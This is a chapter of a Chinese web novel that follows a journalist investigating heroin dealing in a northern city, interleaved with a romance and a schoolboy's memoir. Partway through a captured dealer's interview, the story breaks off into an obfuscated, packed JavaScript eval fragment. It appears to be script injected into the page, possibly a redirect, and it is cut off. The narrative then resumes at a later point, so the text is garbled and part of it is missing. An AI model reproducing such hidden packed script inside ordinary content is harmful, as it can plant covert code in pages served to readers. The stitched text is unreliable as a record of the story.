这应该就是吕澄阳口中的西边,如果毒源彻底断裂,是不是意味着这样一个庞然大厦将会彻底崩塌? 周寅将烟雾从口中吐出,夜晚让他的思绪缠绕在一起,分解不开,他其实清楚,百足之虫死而不僵,没有了墨西哥或者巴西,也还有阿富汗,只要一株存在,它的种子就会传遍整个世界。 同样的,他也无比清楚宋别父亲的结局——一个瘾君子的结局。他听过一句以前在贫民窟的人说得俚语:把海/洛/因吸进肺里,就是和魔鬼签了卖身契。 这句话不无道理,迄今为止,他见过太多被毒害的人,却很少见到真正能戒掉的,几乎没有。甚至吕澄阳自己都不会让他下面的人碰这东西。 周寅专注地抽着烟,没注意到身后的门被人推开。宋别站在卧室门前,在这样漆黑的夜里,他的身影比周身的事物更加深,更加暗,只有烟嘴的地方隐隐约约透亮着些猩红的火光。 她也没有说话,赤着脚走过去,从背后伸手拥住了他。周寅一惊,夹在指间的烟抖了抖,宋别趁势从他手里截获,填进自己嘴里。 “醒了?” “嗯。”宋别抽了一口,慢慢说:“发现你不在,就出来找你。” 他笑了一下:“我能去哪儿?” “说不准,你要是跑了,我管谁去要人。” “我跑什么。” 他说话不多,再有就是顾念她明天还要工作,让她去睡觉。 这句话不知道怎么惹到了宋别,她走到开关那里“啪”的一声打开了灯,和房间里光一起来的还有她脸上的冷笑:“周寅,哪怕我明天就退休也照样饿不死。” “我知道。”他略微垂下眼,“我不是那个意思。” “哪个意思?”宋别走到他那里,在他身边坐下,看着面前如同摆设的电视,“我知道我在做什么,你用不着为我考虑。” “我只是……” 宋别没有给他说话的时间,继续说:“我想问问你,你觉得我把你当什么?” 周寅沉默下来,没有讲话。 他从没想过和这个女人有什么,即便到现在,这个念头也没有动摇。哪怕,哪怕他真的就只是一个修车行老板,宋别这样的人都不是他能企及的。露水情缘,谁也不要亏欠谁。 “我不是浪费时间的人,还是你觉得,我很随便。”宋别平静地说出这些话,没有什么盛气凌人的语气,却实实在在逼迫着他,“我是想和你在一起的。” 说到这句话时,她的眼神挪向窗边,或许是因为大雨的冲刷,让她的语气都有些恍然如梦的柔软。 “周寅,你觉得来日方长是多长?” 15. 第 15 章 1. 寒假比我想的更快结束,我爸再次离开澄州,去遥远的地方,现在的我已经不记得他当年究竟是去哪座城市出差这样的细节,只能用遥远的地方来代替。 三九冰开,六九燕来,晚冬的寒气还没有完全散去,尤其是在澄州这样的北方城市,枯枝败叶上都还凝着一层浅浅寒霜。 我妈在一边跟我爸叮嘱,让他去到那边之后不要总是加班,也别总在外面吃,不健康,有时间就自己做点东西,也不要熬夜,记得常给家里来电话。 我妈说什么我爸都说好,然后又到我爸嘱咐我妈,工作不要太累,也别受别人的气,晚上睡觉关好门窗,别给陌生人开门。又对我说不要气我妈,要听她的话。 他们互诉衷肠了一段时间,最后不得不走,我爸过安检还要一步三回头,冲我们娘俩招手。 我藏在围巾下的鼻子抽了抽,看着我爸的身影消失在拐角之后。他还是穿着直挺挺的大衣,围着一件灰色围巾,好像是什么叫阿玛尼的品牌,总之很好看。我想,我以后也要像他一样,穿这样的衣服,然后到遥远的地方去出差工作。 这个愿望并不算大,在那时的我看来,几乎说得上是我既定的道路,甚至不需要付出什么额外的努力和代价。 随着春节一起结束的还有我的寒假,高中生的假期短到我难以想象,学校好像连多一分钟的自由都不愿意分给我们,就急着拔苗助长。 在假期的时候我和那群狐朋狗友也算小聚了一下,虽说我没考第一,奖学金的传言还都是捕风捉影,可这似乎并不影响我们的欢聚。 那是初一的晚上,我在房间里玩着我爸给我带回来的最新款的任天堂,窗户就被什么东西砸响,我朝那边看过去,是小石子。从窗边往下看,能看见那群狐朋狗友站在楼下朝我招手。 路灯的光,天上缤纷的烟花都照在他们身上,一树又一树地炸开。他们跟我挥着手,叫我下去。 我一直铭刻着这个画面,即便过了很多年,即便他们当中有的人也早已面目全非。只是当时,我还一无所知。 我也弄不清这个场景到底有什么可留恋的,不过就是一个过于平常的,同学欢乐的场景,在很多和我那时一样年纪的人身上都出现过。后来仔细想想,或许就是这样的平常,和我现在的生活对比过于强烈,每想起一次,就刺痛我一次。 久而久之,成了一根顽固不化的尖刺。 其实我们也没有什么地方可去,几个人混在大街上和人流一起往前拥挤着,在后半夜的时候去看了一场三流导演的恐怖电影,我特别害怕,但碍于面子,又不敢表现出来。 于是只好在女生们被吓得乱叫的时候禁闭双眼,用耳朵听电影里的女鬼是怎么声嘶力竭的。后半夜我们还是在街上,最后到公园堆了两个雪人。 那一天的结尾是什么我有些忘了,留给我最深的印象就是那个几乎要从荧幕里爬出来的红衣女鬼。 开学的那天,再次看到我的同学,和料想的状态没有什么差别,人回到了教室,魂儿还留在家里。我倒是没有什么不情愿,学校于我而言不是什么可怕的囚笼,更像是为我建造的高台。 我们开学之后的第一件事就是考试,名曰开学小测,题目据说还涉及下学期的预习课程。 在一片叫骂声中,我和宋别的名字再次高悬到年级榜上,只不过这一次,我的名字在她上面。我们的分差很小,几乎可以忽略不计,相反的是,她和第三名之间却横亘着一条宽阔的鸿沟。 这让我莫名自豪,而这种自豪感,源自于她。 第一也好第二也好,我不过分纠结与她之间谁高谁低,可在别的人眼中似乎不是这样的。在他们的眼里,我们该是针锋相对,剑拔弩张。 可在我眼里,只有我们,只有我和她才是同类。 最明显的,就是她用成绩线分割出来的那一条纵深的,旁人没办法逾越的天堑。我们在这一端,他们在另一端。 某一次初春的早上,我很早来了学校,站在教学楼前看我们的成绩榜,略过我的成绩之后,紧挨着的就是她的名字。那时我想,宋别,怎么会有人叫这么奇怪的名字,人应该都是向往团圆的,怎么会把“别”字放在名字里。 一个另,一把刀。这个字不好,太锋利。 我不知道什么时候看得出了神,连那个小个儿什么时候站在我身边都没察觉,她也在仰头看着,可我不知道她在看谁的,是她自己的还是我的。 下一刻,她就给了我答案。 谢琅,你挺厉害的。她对我说。 我垂眸看了她一眼,笑笑说你也挺厉害的宋别。 我们像是有一种不可言说的默契,用不着庸常的自我介绍作为人际关系的起始,她知道我,就如同我知道她。 后来有人看我写的这本自述,对我说,很奇怪,你说她在你那段人生里的比重并不高,可你对她的这些细节都记得这么清楚。 我也有一瞬的怔愣,第一次发现这个漏洞。我对他解释,或许是因为我后来爱上她了。 所以我开始穷心竭力地挖掘她在我生命里的所有痕迹。 虽然我这么说,可事实上我也有些不清楚,不清楚这些细节是否真的存在,还是我对“我们”的渲染,可惜已经无从考究了。没有人记得那一段岁月,除了我。 没有人记得谢琅的存在,除了她。 2. “周寅,你觉得来日方长是多长?” 宋别问这句话时正看向窗外的大雨,打在窗棂上噼啪作响。她的脸上因为出神而呈现出罕有的柔和,周寅抬起头看过去,只能看见她一个侧脸,从颌角到下巴,绵延起一条起伏的山峦。 他隐约觉得自己有些承接不住,这份情感比他想像得更加厚重。 事实上,说出这话时,连宋别自己都有些诧异。不过她很快就接受了,用不着思虑什么别的因素,感情这部分在她生活中的比重实在太小,无需费心着墨。 “我去睡觉,你也早点休息。”宋别没再逼迫,起身掸了掸身上并不存在的尘埃,转身朝卧室走去,她还没有迈开步子,手腕就被攥住。 周寅的力气很大,像铁一样箍着她,泛着些生硬的疼痛。 他的嗓音有些哑然,宋别并不知道他是怀着一种怎样的情绪和自己说出的那句话:“如果可以,宋别,我想这一切都是真的。” 她觉得他还是不信她是真的想和他在一起,也没有再解释,反正日子长着呢,他们又不是过了今晚就不再见面。 * 林康安接到宋别的电话以后,几乎没有什么停留就立马换衣服出门,犹豫了一下,还是决定朝永乐麻将坊开去。 时间已经很晚了,但麻将馆这种场所一般都是晚上营业居多,这时间对他们而言才正是高峰期。 只是林康安紧赶慢赶去到那里也还是晚了一步,几辆闪着蓝光和红光的警车已经停在了麻将馆的门前,两个警察守在外面,如果是突击检查的话,这阵势未免也太大了。她舔舐了一下牙齿,还是决定向前。 果然,她一靠近,两个警察就伸手把人给拦了下来。 借着光,林康安看清了两个人:“小郑哥,是你们?这里不应该是分局管辖吗,怎么出动市局的人了……” 小郑和身边的警察对望一眼,也不好多说,就问她:“小安,大晚上不睡觉怎么跑这里来了?” 林康安见状,也不再藏着掖着,直接把话挑明了说:“小郑哥,我来这里是有人告诉我这里可能存在毒品,你们这么大动干戈的,是不是也听到了什么风声?” “现在还在调查中,具体的要等结果出来以后再说。” 见他们不肯透露什么,林康安还是不甘心,继续争取:“小郑哥,我能进去看一眼吗,就问两个问题,很快就好。” “小安,这……” “这可没有违反规定,这家店目前还只是有嫌疑,没真的证据。”林康安道:“你放心,我心里有数,不会妨碍你们执法的。” 两人到底是被林康安说动了,伸手放她进去。 警察到这里的时候那些麻友们正打到兴头上,有人还因为自摸一把被人搅了好事差点和警察干起来,然后就是鼻青脸肿地蹲在了墙根。 林康安略一扫过去,看着这些人都不像是成瘾者,教唆别人吸毒的人一般自己也吸,好像这样会显得更有说服力一样。 她目光逡巡过去,忽然在某一个地方停了下来,那个人,这么熟悉。林康安仔细看了看,确定了,自己确实见过站在角落里被警察问话的男人,在那间光明修车行,他似乎也是来修车的客人,他们还聊起了那个死去的司机,高远。 那个男人说话间不经意看过来,两人目光相撞的瞬间,他也有些惊讶。 问话的警察察觉到沈缚的目光,回头看过去,也看见了林康安:“小安,你怎么在这儿?” “跟踪报道。”林康安笑了笑,自然地谈起这里的案情:“怎么样东哥,问话问的怎么样,查出来什么了吗?” 那个警察被带入到她的语境中,也自然而然回答了起来:“这不正查着呢,哎,目前还没什么结果。” “下面分局应该不会弄错,这边可是确确实实多了一个吸毒人员了。”林康安也大方地将自己的信息呈现出来:“虽然现在检测结果还没出来,但也八/九不离十,这里不一定是贩毒场所,但一定会有吸毒人员出没,诱导别人吸毒。” 沈缚站在她对面,仔细听着他们的对话。看这样子,这个记者和警察还算是老熟人了。 “警察,该说的我都说了,没什么事能放我走了吗?” 警察合上笔记本,点点头:“行了,你先走吧。” 面对林康安疑惑的眼神,警察在沈缚走后冲她解释道:“他不是在这儿打牌的人,就是来给朋友送钱来的,就让他先走了。” 她点了点头,没有过分纠结。转而自顾自在房间里转起来,这里前面就是规规矩矩的麻将馆,支着几张麻将机,地上还散落着不少牌。 而帘子后面,就不那么清清白白了。麻将,扑克,还有那些彩色的筹码都散在桌子上,还有两台老虎机,烟酒味儿重的久久都散不出去。警犬被牵到这里,闻了一圈之后也什么都没发现。 她早已见识过那些毒贩的狡诈,尤其是在中国这样严防死守的国土上,他们不得不谨慎再谨慎,才能保证自己的钱有命挣有命花。 几个警察外面也是愁眉苦脸,大张旗鼓来一趟,结果什么都没发现,谁的脸色都不好看。 林康安觉得这里已经没什么价值,拍了几张照片就走了出去。还有时间,她得赶在警察之前去宋复那里一趟,要不然到时候什么问题都问不了了。 刚跨出门槛,她就看见了墙角那里一个抽烟的男人。 是他,还没走。 男人抬起头,两人再一次视线交织。 她朝他走过去,皱眉问道:“你还没走?” 林康安仔细嗅着他身上的味道,一般人见到这阵势,让走就赶紧走了,他非但没走,还停在这儿抽烟,不排除……毒瘾犯了。 沈缚掸了掸烟灰,低头道:“我叫沈缚,你是记者?” “你怎么知道?”林康安也报了自己名字,说道:“我叫林康安。” “你刚才说跟踪报道。”他说,“我在这儿等人出来一起走。” 这个叫沈缚的人语言逻辑还很清晰,不像是吸上头了的,身上也没有那种吗啡的味道。说不出为什么,她既庆幸,又有些失望。不过想想也对,哪怕瘾再大的吸毒者,也应该不没那个胆子当着警察的面吸食。 沈缚笑了两声:“林记者,这是我们俩第二次见了,你上次不会也是到那个修车行去调查的吧?” “去哪儿调查什么,不过那儿的老板是挺好看的,应该也能做个噱头吸引人。”她随口道,没再过多停留,转身戴好安全帽骑车离开。 再还没上去宋复家楼层的时候,林康安在楼梯上就听见了上面房子里传出来的吵闹打砸的声音,女人的哭嚎嘶吼,孩子的乞求,唯独听不见男人的声音。 她驻足在门外片刻,顿了顿,等里面稍微安静一点了,才伸手敲了门。 里面安静了一瞬,随后把手按动,林康安看见一张稚嫩的脸。男孩十四五岁的样子,脸上还挂着泪痕,看着她的眼神中满是疑惑:“你是……” “我是宋别的姐姐。”林康安猜想如果现在说是记者的话,他们估计不怎么欢迎,“她拜托我来看看你们。” 约莫是在警局接受了宋别的那叠钱,宋远章对这个姐姐也不怎么排斥了,现在听说是宋别让林康安来看看他们,心底又有些改观。他侧了一下身,对她说:“你进来吧。” 林康安踏进房间,才对刚才的吵闹声有了具象化的认识,花瓶玻璃,水杯,还有一些杂物什么的碎了一地。 杨繁坐在沙发上头发凌乱,捂着脸低声哭,宋复坐在一边的椅子上,埋头抽着烟。 还真是,一地鸡毛。 “宋叔,我是林康安,宋别的姐姐。”她走到宋复面前,放轻声音说道。 宋复抬头瞥了她一眼,问:“宋别的姐姐,她让你来的?” “是,你毕竟是她亲生父亲,她嘴上硬,心里也还是不落忍的。”林康安说道,扫了一眼狼藉的客厅,试探着问:“宋叔,要不我们换个地方说?” 宋复也不想在这里和杨繁扯皮了,正好有个由头出去,很爽利地就答应了下来,站起身和林康安一起走了出去。 他们小区附近正有个大排档,宋复提议,两个人一起去了那里。坐下之后,林康安要了一打啤酒,又点了几道菜,就把菜单推给了对面的宋复,他也没什么要加的,先起开一瓶酒喝了起来。 “宋叔,宋别告诉我你吸毒,是吗?”林康安没拐弯抹角,直截了当地问他。 宋复握着啤酒的手一顿,从口袋里摸出一根烟点燃,说道:“我也不知道那是什么东西,跟平常的烟差不多,抽完就晕乎乎的了,不会真的是……” “你还记得谁给你的吗?” 宋复皱着眉头仔细想了想:“那天人太多了,我正好手气不错,还赢了钱。赌……牌场上吗,都是你给我递根烟我给你递根烟的,哪记得谁是谁?” “那后来呢,后来你是去找谁拿的这东西?” 林康安仅仅逼视着他,宋复绝对没对宋别说实话,这种东西,只会有第一次是免费的,鱼一旦咬了饵,自己就会立马变成食物。 果不其然,当她问出这个问题的时候,对面的男人还是支支吾吾起来。 她的心底暗暗耸动着一股冲动,真相和罪犯好像就在前面,等着她去揭开让它们藏身的幕布,“宋叔,你最好还是跟我说实话,你也知道,我爸现在是市局局长,到时候捅到他那里,可不是每天定时定点到戒毒所报道的事情了,涉嫌毒品交易可是要进去的,你想想,几天碰不了那东西,你能忍得了吗?” 宋复这个人不经吓,更何况对面是常跟毒贩打交道的林康安,没说两句就全秃噜出来了:“我告诉你还不成吗,小林,你千万别告诉你爸!那次给我烟的人后来告诉我,还想要这东西就得拿钱买,还是去麻将馆,每次地方都不一样,买货的时候,他会告诉我下一次的交易点。” 林康安听到这里,眉头忍不住皱了起来,这样的交易方式她还真没见过,几乎没有毒贩会这么做,太麻烦了,又十分耗费精力。在巴西和哥伦比亚那些地方,他们都有固定买卖大麻和可/卡/因的地点,行话叫做“烟口”,有的也叫做“堂口”,意思都是一个意思,这样比一次一次的约定地方省事太多。 也有另一种可能,就是这个人并不是什么贩毒组织的人,而是一个“转卖”的人。 而林康安能够确定且从未怀疑过的一点是,澄州绝对存在有组织,有规模的贩毒组织。高远那件事绝非巧合,以及后来的丁天德人体/□□,单单一个一对一转卖的人做不到这地步。 她思索这些线索,没注意到对面的宋复已经有了异样。 他像是很难受一样,用手抓挠着自己的大腿和胳膊,脸上的表情十分痛苦。 “那你们下一次约到什么……”她抬起头问他,这才发现宋复有些不对劲。这种场面她见得太多,一眼就看出他是怎么了。没有犹豫,林康安立马从塑料椅子上站起来,朝大排档里面走去。 里面的人问她:“怎么了姑娘,是要加菜吗?” “有水吗?” “您要热水是吧,外面桌子上有水壶,我给你倒去……” “要凉的。” 看她这么急切,服务员也忍不住跟着急了起来,忙问道:“后厨有凉水,是要喝……” 林康安没再理她,抬脚就朝后厨走去,看见案板上放着一个大水瓢,二话没说,舀起一瓢水就急匆匆走了出去,到宋复面前,把整瓢水都泼到了他脸上。 宋复被淋了满身,身体还没止住颤抖,胳膊上和大腿上已经快被他挠出了血痕,这边的动静吸引了不少人,都纷纷朝这边看了过来,还有的要拿手机打急救电话。 她顾不得太多,直接上手到他身上摸索起来,终于在裤子口袋里摸到一个棱角,是烟盒,还好里面的烟没有被浸湿。她又从中翻出打火机,点燃一根,自己先将烟吸出火星,然后把烟送到他嘴里:“来。” 宋复颤抖着手指夹住这根烟,像是握住了救命稻草,费力把抽了一口。 尼古丁虽然不是可/卡/因或海/洛/因一类,然同样是成瘾性的东西,这个时候还是可以缓解一点的。 果然,宋复抽了两口之后明显好了一点,不再浑身发抖了,但还是伸手使劲抓自己身上的皮肤,林康安趁势问他:“他下一次跟你约在哪里?” “约在……”他的脑子似乎也不那么清醒,眼神都开始浑浊,林康安攥住他的肩膀摇了两下,才把人的魂儿给晃回来:“约在那里,什么时候?” 宋复说:“就约在这里,就是今晚。” 林康安猛然一激灵,她不确定那个人现在来没来,如果来的话,是不是就在这些围观的人里。 总之,闹出这么大动静,如果真是在这里的话也绝对不会出现了。她直起腰有些怔愣地在人群里扫视了一圈,有人见她看过来,都下意识回避了目光,还有人继续盯着他们看。 她现在心里面也积蓄着一股气,团在胸口里,压得她喘不上来。她明白这是什么,与真相失之交臂是每个记者都会经历的,大多时候他们去寻找真相,而更多的时间里,其实都处在等待的过程中。 算上大学时期在巴西交换生的那段时间,林康安已经算得上是一个有资历的记者了,可哪怕再有经验,面对这种时刻,也难免想要捶胸顿足。 这一次运气之子没有站在她这一边,可却是她最接近的一次。 人群里不知道是谁报了警,远处闪烁起一阵红蓝交错的光,似乎还有救护车的声响,林康安知道她得做点什么,宋复一旦落到警察手里,她就再也挖不出什么了。 很明显,成为一个吸毒人员的宋复也已经适应了这个身份,听见警笛声就如临大敌一样,撒腿往反方向逃。可他显然还不是一个成熟的边缘分子,不知道这样反而会更引起警察的注意。 警车跟着他停下来,上面下来两个警察,没有悬念地把正在怕跑的宋复按倒在地上。 她好像一瞬间从这里抽离了,好像经久不息燃烧的火焰被一盆冷水彻底熄灭,剩下一滩散发潮味的炭灰,再也没有任何热切。 林康安看着宋复被带走,转身拿起桌子上他的烟盒和烟,点燃了一根送进嘴里。父女俩都爱抽这个,真不晓得是什么滋味儿。 两个警察把宋复扭送到车上,又回来大排档这边,问是谁报的警。大排档老板从人群里走了出来,对警察说了一遍刚才的状况,又指了指林康安,说他们是一起的。 警察很敏锐,这种情况很快就联想到毒瘾发作,看她的目光也微妙了起来。 “女士,还请您跟我走一趟。” “好。” 林康安利落答应,抬脚上了警车,和宋复坐在后排。他的毒瘾显然已经过去,此刻正是清醒状态,也知道自己将要面临什么,把头伏在膝盖上连胜叹气。 车停到一个警局门前,那是个小警局,就在这附近,也是为什么这么快就能赶到。一个晚上二进宫,宋复的心情别提多复杂了,跟霜打的茄子一样蔫儿。 林康安还是第一次有这样的经历,两个警察盯着她什么情况。这事,一时也不知道从何说起。 她问他们:“你们指哪方面?” “有没有吸毒。” 她如实回答:“我没有,他可能吧。” “你和他是什么关系?” 她想了想,尽量把这段关系说得正常一点:“她是我继妹的亲生父亲。” “你继妹的亲生父亲,你为什么去见他?” “他们关系不太好,就拜托我去看看。”林康安说,这也确实是真的,宋别和宋复的关系不好已经到了无需隐藏的地步,宣霖给她打电话让她有时间去看一下宋复,结果宋别开口就问,去看他干嘛,看他是不是还好好活着,什么时候死? 这种事情别人并不好劝,他们只好避讳在她面前提起这个亲生父亲。 “你知道他在吸毒吗?” “不知道——”林康安说完,觉得似乎有些不妥,又说:“刚知道。” 后面的问话都是些无关痛痒的事,警察也没有为难她,让她签个字就可以离开了。 她走出去之后,立马给林钊打了一个电话,这个时间他估计还在加班,电话刚播出去就被接了起来:“小安,还没休息?” “爸,宋别她亲爸在吸毒。”林康安说道:“是在赌博打牌时引诱的,他现在就在城南派出所,有人定期给他贩卖,你们可以从他嘴里撬出一些线索。” 错过已经是板上钉钉的事,既然已经这样,告诉警察也是好的,他们可比她要靠谱。 “我知道了。”林钊的声音有些沉,没有再多说什么,挂断了电话。 * “他有告诉你他叫什么名字吗,他长什么样子,有什么特征?” 面对警察的问讯,宋复甚至坚持都没坚持,把他知道的都说了出来:“他说他叫孙勇,人不高,干巴瘦,看着有点渗人……” 画师根据他的描述把那个人的样貌画了出来,确实跟他说得一样,瞧着有点渗人,眼窝深陷下去,身材瘦削,嘴角那里还有一道短疤。 “你们平常都约在什么地方?” “就一些麻将馆,棋牌室,还有就是大排档这种人多的地方,他说人多才不好被发现……” 警察让他把那些地方的具体地址都说出来,之后再没有问别的,先走了出去。 他们在地图上标注好这些地点,发现他们连起线来,都围绕着一个地方,一个棚户区。 事情比他们想象的要简单太多,从蹲点,跟踪到抓获,几乎没有任何阻力。抓到孙勇的时候,他正在那间破旧的的房子里吸着“白面”。那天下了大雨,棚户区正在修路,路上一片泥泞,警察站在门外等待了一会儿,确定情况之后一下破开门,里面的人没有惊慌,也不反抗。 他的面前放着一个塑料盆,红色的,底部被磨损的发白,立面盛了多半盆白色的粉末,上面有一个细长的勺子,为了好握,最顶端裹了几层透明胶带。 红色盆旁边还有一个盆,里面则是用密封袋包装好的小包装,还有一些长条状,两端打上结,白色粉末被装在里头。 房间非常简陋,不说是四面漏风,但也没差多少,吃剩的饭和泡面堆在折叠桌上,地板上铺着很多纸壳,大概是当地毯来用的。孙勇躺在上面,眼神浑浊,手指上还残留着一些白色粉末。 像个行尸走肉一样,孙勇就这样残缺着被警察带走。 连警察都没想到,多日以来让他们寻找追踪的,会以这样的方式出现,会是这样一个人。 那些白色粉末经过鉴定,确认是海/洛/因无疑,不过纯度并不高。毒贩们粉里“掺水”是心照不宣的规矩,有的人有良心,往里加点面粉,没那么良心的直接往里刮点墙灰进去。 孙勇清醒之后,一开始还死犟着不说,被警察们熬鹰熬了几个晚上,才终于吐口,对自己的一切罪行供认不讳。 丁天德,高远,都是他的人。 “高远被我发现和那个记者联系,我怕他说出去什么,就提前去他家,说给他点好东西让他尝尝——我早就知道他不想干了,这能是他说不干就不干的?那东西还没稀释,特别纯,是我好不容易弄到的,没想到用到他身上了…… “后来,我这里快没货了,就让找人帮我运过来,丁天德他家正好有个有病的闺女,急着用钱,谁想到这个蠢货反倒把自己折腾死了,再之后你们警察查得严,我没办法,只好消停一阵,但也不是办法,没钱就得找找别的销路……” 那个销路无疑就是宋复。 “还有没有引诱过别的人,都在什么地方交易?” “有一些,不过记不清了,就在墓园那边接头,墓地后面有一片树林,不面交,都是埋地雷。他们先埋钱,我再去把货埋到那儿。” “你的货是哪里来的?” “南边,缅甸。” 孙勇只说到这里,再往后就不肯说了,无论用什么方法,都没法撬开他的嘴。 他告诉警察:“我挨枪子儿就挨了,可要是让他们知道我把这些告诉警察了,我在家的老娘,还有我闺女都没法活了!” 林康安听起林钊说这些的时候,实在也不敢相信,这么简单,这么快就找到人了。 “我能见见那个人吗?”她问林钊,“我会以我的单位写申请。” 中台写申请的话,市局也没有理由拒绝。林钊同意了,但要按流程来,等审批下来已经是三天之后了。 孙勇被带到一件单独的审讯室,林康安随后走进去,时隔几月再一次架起了相机,或许连镜头和她自己都没想到,打开门之后面对的是这样一个男人。 这样一个瘦小,干枯的男人。 她稳了稳心神,很快就进入到了状态:“孙先生,等下我会问你几个问题,当然,你可以选择不回答。第一个,你是从什么时候开始从事贩毒行业的?” 孙勇见她语气温和,也不像是警察,精神稍稍放松了一些:“挺多年的了,记不清了。” 她接着问:“你自己是不是也在吸毒?是怎么吸上的,在这之前有没有过后悔?” 说起这个,孙勇有一瞬间的怔愣,似乎想起什么,沉默了好一会儿才回答:“也挺长时间的了,那会儿刚结婚,我婆娘怀孕了,我们家穷,想着不能让娘俩儿吃苦,听说南边那边给人挖石头挺挣钱的,就是那种玉石,木那啊,莫湾基啊这些场口。经人介绍嘛,就去了那个什么小勐拉,在那边就吸上了……” “在这之前你了解过毒品吗?” “我,我猜到那东西可能是毒品,可那边 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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林康安张了张嘴,最后什么都没说。无论怎样,这个孙勇并不无辜。 她走出警局,仰头看了一眼外面的天,这几天一直下着大雨,今天难得放晴,而且并不热,空气里弥漫着丝丝泥土的清香,一切好像都在新生。 不能这样,一定会有什么蛛丝马迹的,只是她还没发现。她攥了攥手,又松开,在脑海里整理着连日以来的信息。该从什么时候开始——对,高远,从高远开始。 然后是修车行,拆迁楼,麻将馆。 林康安的脑海里倏然闪过什么,她迅速抓住了这缕一闪而过的光影,还有那个叫沈缚的男人。这么多事,怎么每桩每件都隐隐藏匿着一个共性,对,是那个修车行! 她不信偶然,哪怕真的是,她也要自己去证实。 * 中午十一点,宋别从电脑前抬起头。 其实位置坐到她这个地步,已经可以半撒手交给下面的人去做了,可是没办法,她实在是有些贪得无厌。 她揉了揉眼,拿起一旁的手机,没什么重要的信息,最上端的陈斯年给她发过来一条:我回去了,宋。 她的手指滑倒最下面,写着周寅名字的那个号码,空荡荡的,没有任何起伏。她的手指在上面摩挲了两下,唇畔不自觉溢出一丝笑意。 宋别不喜欢发信息,尤其是对他,这次也是如此,直接弹了一个电话过去。 “宋别?” “是我。”她道,“有时间吗?” “有时间。” “一起吃个饭吧,我去找你。” 周寅笑了笑:“好。” 她并不知道这算不算是约会。这么多年宋别其实都没怎么正经谈过恋爱,或者说有一段健康的恋爱关系,她没有时间去照顾伴侣的情绪,没有时间去维护什么感情,当然她的“伴侣”大多是也是和她一样的人。精英阶层,时间精确到每分每秒,连情感需求和肉/体欲望也被精准计算。 这样的生活效率确实高,但总得有点调剂。 无论是什么,余情未了,真情所至,又或是见色起意,拿他当作快消品调味剂,总之宋别现在很想见他。 她很快收拾好自己,下楼取车,开往白杨路。 每次开到光明修车行时,宋别都习惯慢下车速,隔着半条马路看向那边的店面,还有店面里的人。虽然被称作“修车行”,里面却从来没有小工,都只是周寅一个人在做。 工作的时候,他常戴一副白棉手套,这种手套特别便宜,沾满机油不能再带之后就可以直接扔掉。偶尔他也会闲下来,不看手机,也没什么其他的事,就坐在一个小板凳上,弯腰静静地抽烟。 可是现在两种都不是。他刚从楼梯上走下来,换了一件干净的衣服,一个普通的黑短,下面也是普通的蓝色牛仔裤,有些宽松,让他多了几分意气风发。然后径直走到外面,关上里面的玻璃门,再把卷帘门放下来。站到外面电线杆旁边,低头看了一眼手机。 再抬起头的时候,一辆车已经停到了她面前,宋别降下窗户,对上他一双眼,笑道:“走吧,周老板。” 周寅拉开车门坐了上去,手机屏幕还没有熄灭,她一瞥眼,看见了上面的内容。那是一个信息界面,没有任何一条消息,最顶端的收信人写着一个字:别。 不知道为什么,看见这个字,心底隐约生出一些密密麻麻的感觉,好像有什么东西在暗自生长,无人知晓。 宋别问他:“想吃什么?” “上次那家吧,学校门口那里。” 她心情很好的笑开:“好。” 宋别发动车子,开往澄州一中那边。这些年来澄州发展神速,这条路也跟原来天差地别,原本刷着“改革开放树新风”的摇摇欲坠的白墙早已经不见踪影,取而代之的是一栋栋鳞次栉比的高楼大厦。 她许久不回国,现在看来是有些一叶障目了。 车上散发着淡淡的冷香,和她身上的味道如出一辙,淡淡的,有点凛冽的寒意。 那边人并不多,宋别找好位置停车,按开安全带的卡扣准备下车时,忽然被周寅抓住了手腕。她疑惑地看过去,他顺势扣住了她的脖颈,把人带到自己这边来,没有任何犹豫地吻了上去。 她大约又抽了烟,嘴里还散发着薄荷的清凉。 宋别只错愕了很短的时间,而后便找回主动权,和他缠吻在了一起。 车里的空调往外冒着冷气,吹在两人身上。她今天穿了一件暗红色雪纺衬衣,下摆扎进黑色长裙中,周寅也只好隔着一层布料,仔细丈量她的腰肢。 这寸肌肤他抚摸过很多次,已经记住了她的形状,她的尺寸,那么细,那么软。 直到他放开,宋别起身,看着他蓦地笑了一声,周寅也跟着笑,问她:“怎么了?” 她从储物箱里拿出一包湿纸巾,扔到他身上:“擦擦吧。”随后就开门走了下去。 周寅打开副驾的梳妆镜,才知道她刚才为什么笑——她的唇色几乎尽数染到了他的上面,还有些擦到了唇角外面,一片鲜红。 他望着镜子中的自己,今年他二十七岁,还很年轻的面孔,和曾经相比变化并不大,穿着廉价的短袖,嘴角最初的笑意被长久的注视压下去,平静到麻木的眼神,让他陡然生出一股厌恶。 在他的身后,是宋别昂贵的汽车内饰,她的味道还残留在他的身体内。 周寅抽出一张湿纸巾,将唇上的颜色擦去,转身下了车。 宋别站在不远处,背身等他。他走过去,平声说道:“走吧。” 他们依旧去了上次那家店,店里几乎没什么客人,平常也就是些学生过来吃,现在他们已经过了吃饭的时间,自然就清闲了下来。 他们捡了个角落的空桌坐下,点了几道家常小菜,随后安静下来。 他们都不是话多的人,多数时候都是行多于言,比如刚才。可是这次周寅先开了口,问她:“宋别,我去过你家一次,你平常在家都不做饭吗?” “嗯,不会做。”她说,“有时候忙得顾不上吃,有时候就去外面吃点,或者家附近有一家711,也会去那边解决。” “吃饭不规律挺容易得胃病的。” “是啊,我身上毛病不少。”宋别说道,“胃病有个几年了,在那边的医生还对我说,有点重度焦虑,这不是扯淡吗……” 周寅没接话,拿起桌上的水壶倒了一杯水,推到她面前,想了想,还是开口:“有时间的话自己学学也好,这事儿不难。” 宋别挑眉看他:“你要教我吗?” “我技术不好。” 她刚要反驳的时候,老板就端着菜上来了,大概是因为顾客少的缘故,几道菜上的都很快。他们就都没在说话,专心对付着桌上的东西。 宋别的食量很小,吃了没几口就撂了筷子,周寅也没吃多少,盘子里的菜剩下很多,让来收拾的老板都有些忧郁,问他们是不是有什么不满意的地方。 周寅转头说挺好吃的,就是有点急事,老板才展开眉头。 宋别下午没什么事,周寅也已经关了店门,只是他们也都不擅长平常的娱乐。她正思量着的时候,一抬头,看见了对面的澄州一中。 